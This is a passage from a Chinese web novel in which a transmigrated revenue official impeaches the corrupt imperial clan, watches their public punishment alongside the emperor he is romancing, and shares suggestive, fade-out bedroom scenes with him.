“大人,京兆尹府那边有结果了。”金九的声音一如既往地平稳无波,“那姓王的无赖,触犯《贼盗律》‘恐吓取财’、《斗讼律》‘诬告反坐’等,数罪并罚,判了死刑,秋后处决。那个媒婆,触犯《户婚律》‘违律为婚’,杖刑一百,徒三年,官府发文,公告其劣迹,此生此世不能再从事媒妁之行。” 林砚听完,沉默了片刻。 他穿越过来这么久,还是第一次有人因他而死,虽然这人罪有应得。 自己其实并不想杀人。 可这个时代就是这样,诬告官眷,尤其是试图用这种手段毁人清白,是重罪。 若此时心软,日后只怕会有更多人觉得林家好欺负,变本加厉。 “知道了。”林砚轻轻吐出一口气,将心中那点不适压下,目光重新变得坚定,“他们咎由自取。” 心里有点唏嘘,但不后悔。 金九却没立刻离开,而是又道:“大人是在准备明日弹劾的奏章?” 林砚“嗯”了一声:“我得喷……咳咳,得参他们一本才解气。” 金九沉默了一下,他递上一张写满人名的纸。 “这是与那荣阳老太关联密切的官员信息,包括她还在世的兄弟姐妹及其姻亲、儿子女儿及其联姻的家族、以及在朝为官或倚仗其势的门人故旧,属下作为金影卫,这些信息都很清楚。 林砚接过来,仔细看了一遍,心中大致有数。 “多谢,这份名单很有用。”林砚真诚道谢。 金九微微颔首:“大人若无其他吩咐,属下告退。” 金九离开后,林砚拿着那份名单,对照着自己刚才写的弹劾草稿,又开始修改润色,务求每个指控都站得住脚,引用的律法条文精准无误。 这一忙,就忙到了深夜。 烛火摇曳下,林砚反复推敲字句,修改了三四遍,直到觉得这篇弹劾奏章已经达到了他目前水平的巅峰,堪称逻辑严密、言辞犀利、证据充分,这才满意地放下笔。 明天他不喷死荣阳郡君那一脉的人,他就不叫林含章。 第95章 第 95 章 结结实实的一吻。 次日, 林砚顶着两个淡淡的黑眼圈,穿着整齐的绯色官袍,揣着那份熬夜打磨好的弹劾草稿前往皇宫。 太仪殿, 百官依序肃立, 气氛庄重。 林砚站在户部官员的队伍中,垂眸敛目, 看似平静,实则心里的小算盘打得噼啪响。 他偷偷瞄了一眼御座方向, 虽然看不清萧彻的表情,但他能感觉到一道目光似乎在他身上停留了一瞬。 哼哼,男朋友就位,观众已入场,好戏即将开锣。 李德福早已准备好配合林砚, 扯着嗓子喊了一声“有本启奏”,至于后面那句“无事退朝”,便直接省略了过去。 林砚踏出队列,手持笏板,朗声道:“臣,有本启奏!” 这一下瞬间吸引了所有人的目光。 有不少官员心中嘀咕:这林侍郎今日要奏什么?他不是忙着呢吗? 御座上的萧彻声音平稳无波:“准奏。” 林砚先是规规矩矩地汇报了近日清查宗室账目中发现的一些令人忧心的问题, 语气客观, 措辞严谨,完全是从一个尽职尽责的户部官员角度出发。 然后, 话锋悄然一转。 “陛下,臣在核查过程中发现,某些账目混乱、亏空异常之处,多与部分宗室官员及其关联人等有所牵扯,譬如, 现任荣王府名下的皇庄田亩产出,连续三年账实不符,差额巨大;又譬如,荣阳郡君之夫,光禄寺少卿王大人经手的宫中采买,价格虚高之象频现;再譬如,荣王世子负责督造的陵寝辅料,账目含糊,工料价目与市价相去甚远……” 林砚语速不快,但条理清晰,每一桩每一件都点名道姓,将问题与具体的人挂钩,而且全部都是他这段时间在户部核查过的,确有实据,抵赖不得。 他压根不提昨日林府门口的闹剧,更不涉及任何私人恩怨,所有的弹劾点都精准地落在“公务”、“账目”、“规制”上。 先从现任荣王开始,然后是荣阳郡君那个靠着裙带关系混上光禄寺少卿的丈夫,他们那个在工部挂闲职却总想捞油水的儿子,嫁出去的女儿的婆家在太仆寺,管马政的账也是一团乱麻,甚至儿媳妇的娘家,一个在地方上仗着姻亲关系横行乡里的小官……只要是跟荣阳郡君这一支沾亲带故,又被林砚查过账的,一个都没落下。 林砚每点出一个名字,列出一项罪证,朝堂上就安静一分。 被点到名的官员,脸色瞬间惨白,汗如雨下。 没被点到的,也暗自心惊,这林侍郎是抄家来了?打击面也太广了,而且桩桩件件都并非空穴来风。 就在林砚奏毕,躬身退回队列的瞬间,户部尚书张厚朴立刻出列,声如洪钟:“陛下,林侍郎所奏,皆乃臣等近日核查宗室账目所遇之积弊,事实清楚,证据确凿,臣恳请陛下彻查,以正纲纪!” 紧接着,左侍郎褚晔也毫不犹豫地踏出:“臣附议!户部上下,皆可作证林侍郎所言非虚!” 这两位大佬一带头,整个户部的官员,但凡是参与了些许清查工作的,无论官职大小,呼啦啦跪倒一片,齐声高呼:“臣等附议!” 这架势可不一般。 紧接着,与林家交好的一些官员、林砚在翰林院的旧友清流们,也纷纷出列表态附议。 他们或许不完全清楚内情,但相信林砚的为人,更嗅到了皇帝欲整顿宗室的风向。 一时间,整个太仪殿内,附议之声此起彼伏,站出来的官员占了十之七八。 只剩下少数与荣王一支关系匪浅或是自身也不干净的官员,面色惨白地僵立在原地,站也不是,跪也不是,恨不得找个地缝钻进去,而被林砚点名弹劾的那些人,更是面无人色,浑身抖得像秋风中的落叶。 这些人的两个眼睛,一个眼睛写着“心”,另外一个写着“虚”。 龙椅上,萧彻将这一切尽收眼底,面色沉静,看不出喜怒,待附议声稍歇,他才缓缓开口。 “朕登基以来,屡次申饬,要求百官清正,宗室守法,然,总有人阳奉阴违,视朝廷法度为无物,贪墨公帑,蠹害社稷,今日林爱卿所劾,触目惊心,若属实,乃国之大蠹!” 萧彻目光如电,扫过下方那些面如死灰的被弹劾者:“尔等有何话说?” 那几个被点名的官员早已吓破了胆,跪在地上磕头如捣蒜,语无伦次地喊着“陛下恕罪”、“臣冤枉”,却连一句像样的辩解都说不出来。 事实俱在,证据确凿,如何狡辩? 萧彻冷哼一声,不再看他们,直接下令:“传朕旨意,户部侍郎林砚所劾一应人等,无论宗室勋贵,还是朝廷命官,即日起,全部停职禁足府中,无朕旨意,不得擅离半步,胆敢违逆者,视同抗旨,金吾卫可先斩后奏!” “其中,林爱卿奏章中证据确凿之项,涉事主官,着即杖责八十,由金吾卫押赴其府邸门前,公开行刑,以儆效尤!” 杖责八十,还是在家门口打。 这简直是□□折磨加公开处刑的双重暴击,没个两三个月,绝对下不了床,而且这脸是丢到全京城了。 “陛下圣明!”以张厚朴、林砚为首的官员们齐声高呼。 萧彻微微颔首,最后沉声道:“宗室绝非法外之地,此次清查,乃整肃纲纪之始,望尔等好自为之!” 圣旨一下,早已候在殿外的金吾卫甲士立刻上前,如同鹰拿燕雀般,将那些面如死灰的被弹劾官员拖拽出去,求饶声、哭喊声渐渐远去,最终消失在宫墙之外。 朝臣们鸦雀无声地退出太仪殿,许多人背后已被冷汗浸湿。 陛下这次是动了真怒,而且手段如此雷厉风行,毫不留情,这可是大渝朝立国以来,头一遭有皇帝对宗室举起刀。 一时间,关于皇帝“刻薄寡恩”、“不念亲情”的私下议论,悄然在一些角落滋生。 当然,这些声音,萧彻即便听到,也只会嗤之以鼻,他在乎的是江山稳固,是清除蛀虫,些许骂名,算什么? 林砚随着人流走出大殿,迎着初升的朝阳,轻轻舒了一口气。 开局顺利,这第一把火,烧得够旺。 至于后续…… 林砚摸了摸袖中那份弹劾发草稿,嘴角勾起一抹弧度。 账,总要一笔一笔算清楚。 而他和萧彻的“约会”清单上,好像又可以添上新项目了——比如,一起去看看那些被打板子的家伙。 看看这些趴在大渝百姓身上吸血的蛀虫,会不会知道痛。 说干就干,林砚拐了个弯,去御书房找萧彻。 林砚熟门熟路地溜达到御书房外,也无需宫人通报,自己揣着手就进去了。 萧彻已经卸了朝服,见他进来,唇角微扬:“下朝不去户部,怎么跑来朕这里来了?” 林砚凑过去,半点不客气地挨着书案边沿坐下,眨眨眼:“就是有个小小的提议,不知陛下有没有兴趣?” “哦?说来听听。” 萧彻好整以暇地看着他,顺手将桌上那碟还没动过的精致点心往他那边推了推。 林砚捏起一块榆钱羹,咬了一口,含糊不清地说:“咱们去看看热闹呗?” 萧彻挑眉:“看什么热闹?” “还能是什么?”林砚咽下点心,“当然是去看金吾卫执行陛下您的英明决策!” 萧彻听着林砚毫不掩饰的幸灾乐祸的语气,差点没绷住笑出来。 他的含章,真是坦诚得可爱。 这种带着点小坏的主意,偏偏正合萧彻的心意。 “都依你。”萧彻扬声唤道:“李德福。” 李德福应声而入。 “备车,朕与林侍郎要出宫一趟。” 萧彻吩咐道。 “老奴遵旨。”李德福心领神会,立刻下去安排。 不过一刻钟,一辆不起眼的青幔马车便从宫城侧门悄无声息地驶出,混入京城清晨渐渐热闹起来的街市中。 车内,萧彻和林砚并肩而坐,宽大的袖子下两手交握,一个威严内敛,一个清俊灵动,真真是相得益彰。 第一个目的地,是光禄寺少卿王某人的府邸。 这位王大人,正是荣阳郡君的丈夫,靠着老婆的宗室身份混了个油水不少的闲职,平日里没少捞好处。 马车停在街角,远远就能看见府门口已经围了不少看热闹的百姓,指指点点,议论纷纷。 几名身着明光铠的金吾卫士兵面无表情地守在门前,两名行刑手拿着长长的水火棍,肃立一旁。 王大人被两个金吾卫押着,面如土色,嘴里还在不住地求饶:“陛下开恩!臣知错了!臣再也不敢了!” “啧,这就怂了?” 林砚透过车窗缝隙看得津津有味,“还没开打呢。” 萧彻淡淡道:“倚仗裙带之辈,能有什么骨气。” 话音刚落,就听金吾卫领队一声令下:“行刑!” 板子重重落下,伴随着王大人杀猪般的惨叫。 那叫声,真是闻者是解气,听者泄愤。 周围百姓的议论声更大了,多是唾弃之声。 “活该!” “贪官!就知道捞我们老百姓的血汗钱!” “陛下圣明!” 林砚听得身心舒畅,转头对萧彻说:“瞧见没,陛下可是民心所向。” 萧彻眼底也闪过一丝满意。 当皇帝的,怎么会不想听到百姓称颂? 十来板子,王大人已经叫得嗓子沙哑,屁股上皮开肉绽,林砚觉得差不多了,便去下一家。 接下来是荣王世子。 这位世子爷倒是比他姑父硬气点,一开始还梗着脖子喊“我乃宗室子弟,你们敢”,结果板子一上身,没几下就嗷嗷叫,开始细数自己是被下面的人蒙蔽,是一时糊涂,求陛下看在他爹荣王的面上饶了他。 可惜可惜,萧彻别说是荣王的面子,连他自个亲爹的面子也没给过。 林砚听得直撇嘴:“现在知道抬出爹来了?贪钱的时候怎么不想想自己姓什么?真是又蠢又坏。” 萧彻冷哼一声:“宗室子弟,更应谨言慎行,以身作则,如此行径,罪加一等。” 一连看了好几家,情形大同小异。 有像王大人那样一开始就软蛋的,有像荣王世子那样色厉内荏的,还有直接吓晕过去的。 林砚从一开始的兴致勃勃,到后来渐渐觉得有些索然无味。 他靠在车壁上,叹了口气:“陛下,我算是看明白了,这些人呐,其实也没几个真有泼天的胆子,无非是以前被纵容得太久了,规矩形同虚设,久而久之,就真把自己当回事儿,觉得普天之下都该围着他们转,拿点、占点、贪点都是理所当然,一旦真动起真格来,个个原形毕露。” 给点阳光就灿烂,给点水就泛滥,给三分颜色就开染坊。 萧彻目光投向窗外熙攘的街市:“积弊已久,尾大不掉,先皇在位时,对宗室勋贵多有宽纵,却不知这水若太浊,养出的不是鱼,是啃噬堤坝的蠹虫。” 林砚看着萧彻的神色,心里那点看热闹的心思彻底没了,只剩下满满的心疼。 当皇帝也太难了,不仅要跟朝堂上的老狐狸斗智斗勇,还得收拾自家这一大帮子不省心的亲戚,这些亲戚还有一堆不省心的亲戚。 林砚伸出手,轻轻扯了扯萧彻的袖子:“陛下,蛀虫揪出来打死就好,你说对不对?” 萧彻反手握住林砚扯他袖子的手,指尖在他手背上轻轻摩挲了一下:“嗯,爱卿所言甚是。” 马车内,方才看热闹时的那点肃杀气氛渐渐被温情取代。 萧彻握着林砚的手没松开,指尖无意识地摩挲着林砚的指节,仿佛那是什么稀世美玉。 “今日这般,会不会觉得朕太过严苛?”萧彻忽然低声问,目光落在两人交握的手上。 他知道林砚心软,虽嫉恶如仇,但亲眼见到杖刑的场面,或许会有所触动。 林砚闻言,立刻摇头:“怎么会?陛下这哪是严苛,分明是英明神武,雷厉风行!” “你能这么想,朕心甚慰。”萧彻唇角弯起明显的弧度,忍不住抬手,用指背轻轻蹭了蹭林砚的脸颊,“只是日后,这等场面,你不喜欢,不必去看。” “那倒没有。” 他是很真心实意地去看热闹的。 萧彻眼底笑意更深,从善如流地点头:“是林爱卿恪尽职守,来查看细节都,实乃百官楷模。” 这揶揄的语气让林砚忍不住瞪了萧彻一眼,却换来对方更深的笑容。 宽大的衣袖遮掩下,萧彻的手悄悄下滑,改为十指相扣的姿势,掌心相贴,温热传递。 马车微微摇晃,车厢内一时安静下来,只有彼此清浅的呼吸声和窗外隐约传来的市井喧嚣。 这种静谧的亲密,比任何言语都更让人心动。 林砚侧过头,看着萧彻线条优美的侧脸在晃动的车帘光影下明明灭灭,心里像是被羽毛轻轻搔过,痒痒的。 嗯……男朋友长得真好看,认真的时候好看,笑起来好看,就连现在这样安静坐着,也好看得让人想……做点坏事。 许是目光太过直白,萧彻若有所觉,转过头来,正对上林砚还没来得及收回的蠢蠢欲动的眼神。 四目相对,萧彻眸色微深,喉结滚动了一下。 林砚的心跳骤然漏了一拍,像是做坏事被抓包的小孩,脸颊“腾”地就红了,下意识想移开视线,却又有点舍不得。 就在这暧昧缱绻的氛围即将升温时,马车缓缓停了下来,车外传来李德福压低的声音:“陛下,林大人,户部公廨到了。” 旖旎的气氛瞬间被打破。 林砚如梦初醒,赶紧坐直身体,欲盖弥彰地清了清嗓子:“啊?到了啊?这么快?” 萧彻眼底掠过一丝遗憾,但很快恢复如常,松开了握着的手,温声道:“嗯,到了,今日户部想必还有不少事要忙,去吧。” “哦,好。”林砚应着,伸手去推车门,动作却有点磨蹭。 就在他一只脚刚要踏出马车时,忽然又缩了回来,快速转身,以迅雷不及掩耳之势,凑上前在萧彻唇上重重地亲了一下。 结结实实的一吻。 亲完,不等萧彻反应,林砚飞快地跳下马车,只留下一句带着笑音的“陛下再见!”,便头也不回地朝着户部衙门跑去,绯色官袍被春风吹出令人心动的弧度。 第96章 第 96 章 林砚飘进户部公廨,嘴角…… 林砚飘进户部公廨, 嘴角咧到耳根子的笑容藏都藏不住,整个人像刚偷喝了一整罐蜂蜜,从头发丝到脚后跟都甜滋滋。 谁是熊二?他是熊二。 值房里, 褚晔正对着一堆账册眉头紧锁, 抬头看见林砚这副春风荡漾的模样,手里的算盘珠子差点拨错位。 “林兄, 你这是捡到金元宝了?”褚晔问道。 林砚被问得一激灵,赶紧管理了一下表情, 故作严肃地咳嗽一声:“咳,没什么,就是觉得今日天气甚好,陛下圣明,蛀虫受惩, 心情舒畅。” 说着还煞有介事地拍了拍桌上那摞账本。 褚晔嘴角抽了抽,看了一眼窗外不算明媚甚至有点多云的天色,决定不戳穿同僚这拙劣的借口。 他换了个话题:“说起来,今早你那篇弹劾奏章,真是掷地有声,字字珠玑。” 提到这个, 林砚可就不困了, 瞬间切换到工作模式,拉着褚晔开始讨论清查宗室账目的下一步计划, 仿佛刚才那个冒着粉红泡泡的不是他。 只是讨论间隙,他的目光总会不经意地瞟向窗外皇宫的方向,指尖无意识地摩挲着袖口,那里似乎还残留着某人掌心的温度。 另一边,萧彻回到御书房, 批阅奏折的效率高得惊人,看得李德福都暗自咋舌。 只是陛下偶尔会对着某本奏折出神,指尖抚过唇角,眼底漾开一丝极淡却真实的笑意。 他懂他懂,一定是想到了林大人才这么高兴。 易熬到散值时分,林砚几乎是第一个冲出户部公廨的大门,他没有直接回家,而是脚步一拐,熟门熟路地又进了宫。 这一次,他目标明确,直奔紫极殿。 萧彻似乎早料到他会来,已经屏退了左右,独自在殿内等着。 夕阳的余晖透过窗棂,给他周身镀上一层温暖的光晕。 林砚进去时,萧彻正站在书案前,手里拿着的,可不是什么圣贤书,而是一本画册。 这画册是褚晔给的,林砚上次揣进宫忘记了揣回林府,没想到会落到萧彻的手里。 林砚瞥见画册后,在萧彻跟前一个猛刹车,一头撞上萧彻,还是萧彻伸手将人拦腰抱住,才没让林砚摔下去。 一头撞进萧彻怀里,鼻尖瞬间被熟悉的沉水香气包裹,脸颊隔着衣料都能感受到对方胸膛传来的温热和坚实。 林砚脑子“嗡”的一声,倒不是因为撞疼了,而是因为萧彻手里那本该死的画册,以及自己此刻投怀送抱般的姿势。 “投怀送抱?”萧彻低沉带笑的声音在头顶响起,手臂稳稳圈着林砚的腰,非但没松手,反而收得更紧了些,“爱卿今日,倒是比那画册上的姿态,更为主动热情。” 林砚:“!!!” 他手忙脚乱地想站直,却被萧彻箍着动弹不得,只能梗着脖子反驳:“谁、谁主动了?我是没站稳,还有那画册不是我的!是褚晔硬塞的!我都没翻开过!” 萧彻挑眉,另一只空着的手晃了晃那本画册,纸张哗啦轻响:“哦?没看过?那爱卿可知,这画册里都画了些什么?” 林砚眼神飘忽,坚决不往画册上看:“不、不知道!也没兴趣知道!” “是么?”萧彻低下头,鼻尖几乎要蹭到林砚的,呼吸交融,带着灼人的热度,“可朕方才粗略翻阅,倒是觉得其中有些‘学问’,颇值得探讨一番。爱卿既与朕心意相通,何不一同研习,共同进步?” 林砚:“???” 研习跟进步这两个词,是这么用的吗? 研习你个鬼!进步你个腿! 不过林砚岂会轻易认输? 林砚反将一军:“陛下乃真龙天子,天资卓绝,何须借助此等外物?莫非是……自觉有所欠缺,需要借鉴学习?” 他故意把“欠缺”两个字咬得重了些,眼神挑衅地看着萧彻。 萧彻眸色骤然深了,凤眸危险地眯起。 松开揽着林砚腰的手,却没完全放开,而是顺着脊背缓缓下滑,停在某个微妙的位置,轻轻一拍。 “朕是否有所欠缺……”萧彻的声音压得更低,带着蛊惑般的沙哑,“爱卿不是已然亲自验证过了?还是说,验证得不够彻底,让爱卿产生了误解?” 林砚被他拍得浑身一僵,那些混乱又羞耻的记忆瞬间回笼,脸颊爆红,差点咬到自己的舌头。 【验证你个头!你那叫天赋异禀!畜生玩意!】 【手都快废了还不释放,你是南孚吗?】 萧彻不知南孚为何物,他只知温香软玉在怀,忍不住就想逗弄。 他凑到林砚耳边,用气声道:“看来,是朕昨夜不够努力,未能让爱卿得出正确结论,既然如此……” 手臂再次用力,将人打横抱起,大步走向内殿:“不若我们抛开这无用画册,朕再向爱卿好好证明一番,朕,无需借鉴,亦能无师自通,让爱卿……心服口服。” “喂!萧彻!你放我下来!这天还没黑彻底呢!”林砚惊呼,手脚并用地扑腾。 “白日如何?”萧彻稳稳抱着他,很是恶劣,“朕与爱卿探讨学问,还分什么昼夜?” 林砚:“???”你好骚啊。 萧彻将林砚轻轻抛在柔软的龙榻上,随即俯身压下,堵住了那张试图抗议的嘴。 这个吻带着十足的侵略性,比昨夜更加深入,更加熟练,仿佛真的要将林砚拆吃入腹。 林砚起初还挣扎两下,很快便在对方强势的攻势和熟悉的气息中败下阵来,身体诚实地软化,手臂不由自主地环上了萧彻的脖颈。 意乱情迷间,他感觉萧彻的手再次探入他的衣襟。 与昨夜相比,这次更加逾矩。 当萧彻的手滑到他腿侧时,林砚一个激灵,猛地清醒了几分,按住了那只作乱的手,声音发颤:“等等……萧彻,你……” 萧彻抬起头,眼底是汹涌的暗潮,他看着林砚泛红的脸颊和湿润的眼眸,声音哑得不成样子:“含章,帮帮我,像昨夜那样……” 林砚看着他忍耐的样子,心尖一软,鬼使神差地,松开了手。 然而,萧彻却并未仅仅满足于此。 在情动至深时,他咬着林砚的耳垂,用气声哄诱:“含章,蹭蹭就好……” 林砚脑子一片空白,被那灼热的温度和暧昧的请求搅得理智全无,半推半就地,依言照做。 …… 等到风停雨歇,林砚瘫在龙榻上,连指尖都懒得动弹。 他感觉自己的腿根一片火辣,不用看都知道肯定红透了。 萧彻这个畜生! 偏偏始作俑者还一脸餍足,侧躺在他身边,指尖有一下没一下地卷着他的头发,语气带着事后的慵懒和显而易见的调侃:“看来,爱卿确实无需那画册指点,自学成才,天赋甚佳。” 林砚累得眼皮都懒得抬,闻言气得抬脚想踹他,却牵动了酸软的肌肉,忍不住“嘶”了一声。 萧彻低笑,伸手替他揉捏着腿侧酸软的肌肉,动作倒是轻柔:“是我不好,累着含章了。” 林砚哼哼两声,算是接受了这没什么诚意的道歉。 他忽然想起明日是休沐,不用上朝,顿时觉得老天爷还是有点良心的。 “明日,不用早起”林砚嘟囔着,意识开始模糊。 萧彻看着他昏昏欲睡的模样,低头在他额角亲了亲:“嗯,睡吧。” 林砚安心地沉入梦乡前,最后一个念头是:这口气不能就这么咽下去,他一个现代社会来的人,还能败给萧彻一个古代人? 第二天,林砚一直睡到日上三竿才醒。 身旁早已空了,摸了摸被褥,一片冰凉,显然萧彻早就起身了。 他动了动,腿根摩擦带来的细微刺痛感依旧明显。 挣扎着爬起来,洗漱完毕,换好衣服,林砚磨磨蹭蹭地走出内殿。 萧彻正坐在外间看书,阳光透过窗棂落在他身上,一派光风霁月,仿佛昨夜那个缠着他厮磨到半夜的禽兽是另一个人。 见林砚出来,萧彻放下书,目光落在他略显别扭的走姿上,唇角微扬:“醒了?可用些点心?” 林砚没好气地瞪了他一眼,故意走到离他最远的椅子上坐下。 萧彻也不恼,倒了杯温水递过去:“还疼?” 林砚接过杯子,咕咚咕咚灌了几口,才硬邦邦地道:“托陛下的福,尚能行走。” 萧彻眼底笑意更深,走到他身边坐下,手臂自然地环住他的腰:“是朕孟浪了,下次……” “没有下次!”林砚立刻打断他,耳根微红,“至少……不能用腿了!” 萧彻从善如流地点头:“好,听含章的。” 他答应得这么爽快,反而让林砚心里更没底了,总觉得这家伙在憋什么坏水。 休沐日无事,林砚在宫里用了午膳,便打算回府。 出门时,正好遇见褚晔奉旨入宫汇报宗室账目清查的进展。 褚晔再不想单独面圣夜无法,这是皇帝召见。 两人在宫道上撞见,褚晔看到林砚走路的姿势,眼神瞬间变得微妙起来,脸上写满了“我懂我懂”和“兄弟保重”。 林砚被他看得浑身不自在,强作镇定地打了声招呼。 褚晔凑近些,挤眉弄眼地低声道:“林兄,昨日陛下可还满意?”他指的是林砚弹劾成功那事,但配上这表情,怎么听怎么不对劲。 林砚嘴角一抽,含糊道:“还、还行吧。” 褚晔却以为他指的是另一回事,嘿嘿一笑,拍了拍他的肩膀,用更低的声音道:“看来我送的那画册派上用场了?赫连那边还有更好的,回头我再给你弄几本!” 林砚:“……”我不是!我没有!别瞎说! 他本想严词拒绝,但想到萧彻昨夜那副游刃有余的样子,以及自己“报仇雪恨”的雄心壮志,到嘴边的话又咽了回去。 他轻咳一声,眼神飘忽,同样压低声音:“那个,你那里,真有很多这种……嗯,画册?” 褚晔一副“果然如此”的表情,拍着胸脯保证:“放心,包在我身上,赫连走南闯北见过的好东西多得很,我让他把压箱底的都给你找出来!” 林砚:“……倒也不必。” 褚晔摆摆手:“客气什么。” 他又凑近些,大着胆子问:“不过林兄,你跟陛下那什么,到底到哪一步了?和谐不?” 林砚被问得一愣,他跟萧彻虽然亲密,但确实还没到最后一步。 他这人有时候实诚,加上觉得褚晔也算是“自己人”,便老实回答道:“还没到最后一步。” 褚晔震惊地瞪大了眼睛,声音都忘了压低:“什么?!你们还没……” 林砚吓得赶紧去捂他的嘴:“你小声点!” 褚晔扒开他的手,依旧难以置信,上下打量着林砚,喃喃道:“不能啊,陛下看着也不像不行啊,难道是你不行?” “你才不行!”林砚恼羞成怒,“我们那是循序渐进,你懂什么!” 褚晔摸着下巴:“循序渐进什么呀,这男人啊,该出手时就得出手,你得主动点,勾引他啊!” “勾、勾引?”林砚愣住了,他两辈子加起来也是第一次谈恋爱,还是跟皇帝谈,哪学过这个? 褚晔见他一脸茫然,顿时来了精神,开始传授他那不靠谱的经验:“你看啊,首先,眼神要到位,那种欲说还休,带着点钩子的眼神,懂不懂?其次,偶尔不经意地肢体接触,比如递东西的时候碰碰手指啊,走路的时候靠得近一点啊,还有,穿衣服也有讲究,偶尔松松领口,露一点点锁骨……” 林砚被他忽悠得一愣一愣的,听着那些“技巧”,脸上红一阵白一阵。 他不是很明白他一个户部侍郎为什么要跟另外一个户部侍郎探讨这种事情。 但,林砚拒绝不了。 看着褚晔信誓旦旦的样子,再想到自己“复仇”的决心,林砚心里那点叛逆的小火苗又燃了起来。 也许,真的可以试试? 区区萧彻,看他怎么拿下!—— 作者有话说:这周没有榜单,这两天都有加更[比心][比心][比心] 第97章 第 97 章 不能输阵! 林砚最近过得相当充实, 甚至充实得有点过头。 他就像个上了发条的查账机器,和褚晔两人一头扎进宗室们那堆积如山、漏洞百出的陈年旧账里,一遨游就是一个来月。 这些宗室勋贵们, 百年来躺着吃朝廷的供奉, 利用特权兼并土地,经营产业, 账目做得那叫一个随心所欲,大抵也是没有想到会有一任皇帝不惯着这些亲戚了, 拿他们开刀。 林砚和褚晔吐槽时还想到一点,那就是这些宗室可能还是不太清楚户部是做什么的,以为户部的官员们都是吃干饭的。 可惜,他们碰上的皇帝是萧彻,萧彻还点了林砚和褚晔这对卷王工作搭子。 “看看这个。”林砚拿起一本账册, 指着上面模糊不清的墨团和明显涂改的痕迹,对褚晔吐槽,“这安国公家采购石料的单子,价格都快赶上金子了,他们是打算用金石头修祖坟吗?还有这笔,采买冬日炭火的数量, 够把他们一个府上的人全部熏成腊肉!” 褚晔无奈摊手:“虚报价格, 夸大数量,甚至伪造名目, 是惯用伎俩,你看这笔修缮花园的支出,后面附的工匠名单里,竟然有已经去世三年的老木匠的名字,真是鬼斧神工。” 林砚直呼好家伙, 阴间劳务都敢用?也不怕半夜鬼敲门讨薪? 两人一边疯狂吐槽,一边将查实的证据分门别类,整理成清晰的条陈。 而这些条陈,总会以最快的速度,出现在萧彻的御案上。 萧彻那里动作极快。 林砚他们上午刚把某位郡王、国公的烂账查个底朝天,下午皇帝的旨意就到了。 大多数被查的宗室,其命运就如同前荣阳郡君一般。 撤封号,夺待遇,一撸到底,直接从云端跌落,变成平民。 起初,还有些宗室仗着辈分或者往日的情分,想进宫哭诉求情,甚至有人在家里扎小人咒骂萧彻刻薄寡恩,不念亲情。 “萧彻小儿!他这是要掘我们宗室的根啊!” “先皇啊!您睁开眼睛看看吧!” “不过是贪了点银子,占了点田地,至于如此赶尽杀绝吗?” 骂声此起彼伏,然而萧彻根本不在乎。 金影卫将谁骂了什么悉数记录下来,萧彻也只是对记录一笑而过。 他是大渝的皇帝,肩负的是整个天下的重任,若是连动这些只会趴在国家身上吸血的闲散宗室的魄力都没有,还当什么皇帝?不如早点退位让贤,找个山清水秀的地方养老算了。 宗室们想当个富贵平民躺平,也没那么容易。 萧彻紧接着又下了一道旨意:凡是被查出亏空、拖欠国库银两的,一律限期归还本金,还要计算利息,逾期不还者,抄家。 圣旨一下,京城里顿时鸡飞狗跳。 那些刚刚被贬为平民的前宗室们,还没来得及从失去特权的打击中回过神,就面临着更残酷的现实——要还钱。 他们平日里挥霍无度,早就寅吃卯粮,哪里还有现钱填补那么大的亏空? 有人想赖账,或者拖延。 但萧彻显然早有准备。 限期一到,金吾卫直接上门,抄家! 曾经门庭若市的府邸被贴上封条,里面的金银细软、家具摆设,但凡是值钱的东西,统统被登记造册,拉去充公抵债。 哭嚎声,咒骂声,求饶声,在那些昔日繁华的府邸前上演。 林砚偶尔从旁经过,看着那一片狼藉,心里并无多少同情。 他要是同情这些人,便对不起自己两辈子读过的书。 不工作的时候,林砚则把全部精力投入到了另一项“重大研究”中。 不得不说,赫连锋这家伙确实有点东西,走南闯北真不是白混的,人脉广,路子野,褚晔让他找的画册,他愣是能打包了一大箱子,各种流派、风格、题材……直接悄无声息地送到了林砚家。 林砚收到箱子时,做贼似的,生怕被家里人发现里面是什么,小心翼翼地搬回自己房间,藏在床底下,还做了点伪装。 好在林家家风严谨,没人会平白去动他的私人物品,这一箱子“宝贝”得以安然存放。 夜深人静时,林砚就点上灯,偷偷摸摸地开始钻研。 这一钻研,可算是打开了新世界的大门。 原来古人在这方面的想象力和表现力,也丝毫不逊色嘛! 各种构图、意境、甚至一些他闻所未闻的“知识点”,看得林砚是面红耳赤,心跳加速,同时又啧啧称奇。 理论知识得到极大丰富后,林砚的信心也开始空前膨胀。 是时候将这些理论投入实践了。 他决定,进宫去住,让萧彻见识见识他的厉害! 林砚已经打算好了,明日是休沐日,不用上班,不用担心“春宵苦短日高起,从此君王不早朝”的情况发生。 今天晚上,他就要跟萧彻好好较量一番,一雪前耻! 林砚怀揣着必胜的决心和满脑子的理论知识,雄赳赳气昂昂地进了宫。 到了紫极殿,林砚发现萧彻似乎刚忙完。 “陛下。”林砚努力让自己的语气听起来自然又带着点暗示,“臣今晚歇在宫里吧?” 萧彻抬眸看他,眼中闪过一丝了然的笑意:“好,朕求之不得。” 他起身,很自然地牵起林砚的手:“正好,紫极殿后有一处汤池,朕平日不用,想着你以后常要留宿,便叫人打扫了出来,引了温泉水,含章今日可以去试试,解解乏。” 汤池? 林砚眼睛一亮。 还有这种好事?这可是增加情趣、实践理论知识的绝佳场地! 林砚内心的小人已经开始摩拳擦掌,表面上却还要维持淡定:“陛下有心了,那臣就去试试。” 宫人早已准备好了一切。 汤池所在的偏殿水汽氤氲,池子不算特别大,但足够宽敞,汉白玉砌成,水面上还漂浮着一些新鲜的花瓣,散发着淡淡的香气,氛围感直接拉满。 林砚心里给萧彻点了个赞,男朋友挺上道。 他挥退宫人,美滋滋地脱了衣服,滑入温暖的池水中。 水温恰到好处,浸润着皮肤,连日查账的疲惫似乎都被驱散了不少。 靠在池边,闭着眼睛,一边享受,一边在脑子里复习等会儿要使用的战术。 正当林砚泡得迷迷糊糊,浑身放松,脑子里天人交战,想着是直接出击还是迂回包抄时,忽然听到一阵轻微的入水声。 林砚一惊,猛地睁开眼。 只见水波荡漾,萧彻也下来了! 而且!萧彻居然只穿了一条亵裤! 那紧实流畅的肌肉线条,宽阔的肩膀,劲瘦的腰身,还有水下若隐若现的人鱼线……在氤氲的水汽和朦胧的烛光下,冲击力简直爆表。 林砚的眼睛瞬间直了,大脑当场宕机,之前复习的所有理论知识瞬间被清空,幸好,他还记得抬手摸了摸自己的鼻子。 嗯,没有什么不该流的液体流出来。 萧彻仿佛没注意到林砚呆滞的目光,坦然自若地涉水向他靠近。 